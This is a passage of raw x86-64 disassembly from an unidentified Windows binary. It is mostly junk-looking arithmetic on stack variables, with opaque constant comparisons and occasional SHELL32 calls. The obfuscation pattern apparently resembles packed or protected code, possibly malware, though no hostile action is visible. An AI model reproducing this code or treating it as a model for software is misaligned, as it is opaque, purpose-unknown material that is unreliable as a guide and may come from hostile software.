je 0x140059fa6
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d70]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4dd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x299c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov word [rsp + 0xb1c], ax
mov eax, dword [rsp + 0x2a0c]
mov ecx, dword [rsp + 0x29e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a00], eax
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb34]
sub eax, ecx
mov word [0x1401c1a28], ax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x26f8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2988], eax
movsx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0xbb]
xor eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x134], al
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x26f8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb2c]
add eax, ecx
mov word [0x1401c1a28], ax
mov eax, dword [rsp + 0x2a04]
add eax, 0xc0
mov dword [rsp + 0x2a04], eax
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d70], rax
movzx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb30], ax
movzx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb2c]
sar eax, cl
mov word [0x1401c1a28], ax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4d70], rax
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2988]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2994], eax
movsx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
jmp 0x140059bda
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
sub eax, ecx
movzx ecx, word [rsp + 0xb1c]
movzx edx, word [rsp + 0xb28]
sub ecx, edx
cmp eax, ecx
jge 0x14005a0fa
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x135]
and eax, ecx
mov byte [rsp + 0x132], al
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x134]
movzx edx, byte [rsp + 0xbb]
add ecx, edx
cmp eax, ecx
jne 0x14005a0fa
mov rax, qword [rsp + 0x4e30]
mov eax, dword [rax]
mov dword [rsp + 0x2a38], eax
cmp dword [rsp + 0x2a38], 0x50da8c1f
je 0x14005a0e0
cmp dword [rsp + 0x2a38], 0xbea0e1e0
je 0x14005a054
jmp 0x14005a0fa
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4d98]
lea r8, [rsp + 0xbb]
mov edx, 0xee
lea rcx, [rsp + 0x2a34]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e68]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x134]
add eax, ecx
mov byte [rsp + 0xbb], al
mov rcx, qword [rsp + 0x4e70]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0x4e78], rax
jmp 0x14005a0fa
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4d80]
or rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4d68]
jb 0x14014874e
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
mov dword [rsp + 0x2a40], eax
cmp dword [rsp + 0x2a40], 0
je 0x14005a150
cmp dword [rsp + 0x2a40], 0x2df
je 0x14005a2d6
jmp 0x14005a3af
movzx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb28], ax
lea rax, [rsp + 0xb34]
mov qword [rsp + 0x4e80], rax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
mov dword [rsp + 0x2a44], eax
cmp dword [rsp + 0x2a44], 0xfffffffc
je 0x14005a1af
cmp dword [rsp + 0x2a44], 0x3020
je 0x14005a2b4
jmp 0x14005a2d1
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4e68]
cmp rax, qword [rcx]
jne 0x14005a2b2
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4e48]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jl 0x14005a2b2
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d90]
cmp rax, qword [rcx]
jne 0x14005a2b2
mov rax, qword [rsp + 0x4e48]
movzx eax, byte [rax]
mov byte [rsp + 0x138], al
mov dword [rsp + 0x2a48], 0x6eec
lea rax, [rsp + 0x29e4]
mov qword [rsp + 0x4e88], rax
mov rax, qword [rsp + 0x4d70]
mov qword [0x1401c2b10], rax
lea rax, [rsp + 0x4d70]
mov qword [rsp + 0x4e90], rax
jmp 0x14005a2d1
lea rdx, [rsp + 0x4e90]
lea rcx, [rsp + 0x2a00]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x2a4c], eax
jmp 0x14005a3af
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x26f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2994], eax
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb20]
sub eax, ecx
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xb2c]
and ecx, edx
cmp eax, ecx
jg 0x14005a3af
mov rax, qword [rsp + 0x4e90]
mov rax, qword [rax]
mov qword [rsp + 0x4e98], rax
movabs rax, 0x400607019ec136e
cmp qword [rsp + 0x4e98], rax
je 0x14005a348
jmp 0x14005a392
mov eax, dword [rsp + 0x26f8]
mov ecx, dword [rsp + 0x299c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov r9d, dword [rsp + 0x2988]
mov r8d, dword [rsp + 0x26f8]
mov rax, qword [rsp + 0x4da8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4d88]
movzx ecx, byte [rax]
call fcn.14014b010
nop
jmp 0x14005a3af
movsx eax, word [rsp + 0xb20]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb2c], ax
mov dword [rsp + 0x2a50], 0x85d3
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb1c]
add eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x135], al
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb1c]
or eax, ecx
mov word [rsp + 0xb30], ax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x134]
shl eax, cl
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov eax, dword [rsp + 0x29e4]
movzx ecx, al
mov eax, dword [rsp + 0x2a00]
sar eax, cl
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4d80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x26f8]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x299c], eax
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb20]
add eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x135]
sub eax, ecx
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb2c]
sub eax, ecx
mov word [rsp + 0xb24], ax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x134]
and eax, ecx
mov byte [rsp + 0x136], al
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov word [0x1401c1a28], ax
mov rax, qword [rsp + 0x4e88]
mov ecx, dword [rsp + 0x29e4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2a00], eax
mov rax, qword [rsp + 0x4e90]
mov rax, qword [rax]
mov rcx, qword [0x1401c2b10]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d68]
movzx ecx, al
mov rax, qword [rsp + 0x4dd8]
shr rax, cl
mov qword [rsp + 0x4d80], rax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xbb], al
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x138]
sub eax, ecx
mov byte [rsp + 0x133], al
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xb2c]
and eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
sub eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4e90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a00], eax
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb24]
sub eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
add eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x135]
and eax, ecx
mov byte [rsp + 0x132], al
mov eax, dword [rsp + 0x29bc]
add eax, 0xca
mov dword [rsp + 0x29bc], eax
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb30]
sar eax, cl
mov word [rsp + 0xb28], ax
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x134]
shl eax, cl
mov byte [rsp + 0x137], al
movzx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2994]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [0x1401c2b10]
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2a0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4dd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
add eax, ecx
mov byte [rsp + 0x53], al
cmp dword [rsp + 0x29bc], 0x4412
jb 0x14005a3ba
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
sub eax, ecx
mov word [rsp + 0xb34], ax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov byte [rsp + 0x136], al
mov eax, dword [rsp + 0x2a0c]
mov ecx, dword [rsp + 0x2a00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c2b10], rax
mov eax, dword [rsp + 0x26f8]
mov ecx, dword [rsp + 0x299c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4d80]
movzx ecx, al
mov rax, qword [rsp + 0x4d68]
shr rax, cl
mov qword [rsp + 0x4dd8], rax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
shl eax, cl
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [0x1401c1a28]
and eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov eax, dword [rsp + 0x29f8]
sub eax, 0x5e
mov dword [rsp + 0x29f8], eax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
sub eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4d68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
mov rax, qword [rsp + 0x4e88]
mov ecx, dword [rsp + 0x29e4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e68]
mov rax, qword [rax]
mov rcx, qword [0x1401c2b10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x299c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb2c]
add eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
add eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb28]
xor eax, ecx
mov word [rsp + 0xb30], ax
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x133]
shl eax, cl
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
sar eax, cl
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e88]
mov ecx, dword [rsp + 0x29e4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4d80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2994], eax
mov rax, qword [0x1401c2b10]
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e90]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [0x1401c1a28]
sub eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2994]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [0x1401c2b10]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d70], rax
mov eax, dword [rsp + 0x2a0c]
movzx ecx, al
mov eax, dword [rsp + 0x2a00]
shl eax, cl
mov dword [rsp + 0x29e4], eax
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4dd8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x53]
or eax, ecx
mov byte [rsp + 0x133], al
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb2c]
sar eax, cl
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
and eax, ecx
mov byte [rsp + 0x134], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c2b10], rax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4d80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov eax, dword [rsp + 0x2a0c]
mov ecx, dword [rsp + 0x29e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a00], eax
cmp dword [rsp + 0x29f8], 0x3d5e
jae 0x14005a804
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x299c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x26f8], eax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
xor eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb24]
or eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a0c]
movzx ecx, al
mov eax, dword [rsp + 0x29e4]
sar eax, cl
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2994]
mov rcx, qword [rsp + 0x4e30]
mov qword [rsp + 0x4ea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ea0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x299c], eax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e68]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x138]
movsx ecx, byte [rsp + 0x135]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movsx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb24]
sub eax, ecx
mov word [rsp + 0xb2c], ax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov eax, dword [rsp + 0x2994]
mov ecx, dword [rsp + 0x2988]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e88]
mov ecx, dword [rsp + 0x2a00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a0c], eax
mov eax, dword [rsp + 0x2990]
add eax, 0xe9
mov dword [rsp + 0x2990], eax
mov rax, qword [rsp + 0x4d80]
movzx ecx, al
mov rax, qword [rsp + 0x4d68]
shr rax, cl
mov qword [rsp + 0x4dd8], rax
mov rax, qword [0x1401c2b10]
mov rcx, qword [rsp + 0x4d70]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
shl eax, cl
mov byte [rsp + 0x137], al
cmp dword [rsp + 0x2990], 0x84a4
jb 0x14005acf5
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2994]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov edx, dword [rsp + 0x26f8]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x14005b00e
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb2c]
add eax, ecx
mov word [rsp + 0xb34], ax
lea rax, [rsp + 0xb28]
mov qword [rsp + 0x4ea8], rax
lea rax, [rsp + 0xb30]
mov qword [rsp + 0x4eb0], rax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
add eax, ecx
mov byte [0x14019f008], al
mov eax, dword [rsp + 0x29e8]
sub eax, 0xcc
mov dword [rsp + 0x29e8], eax
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x26f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x137]
sub eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e88]
mov ecx, dword [rsp + 0x2a0c]
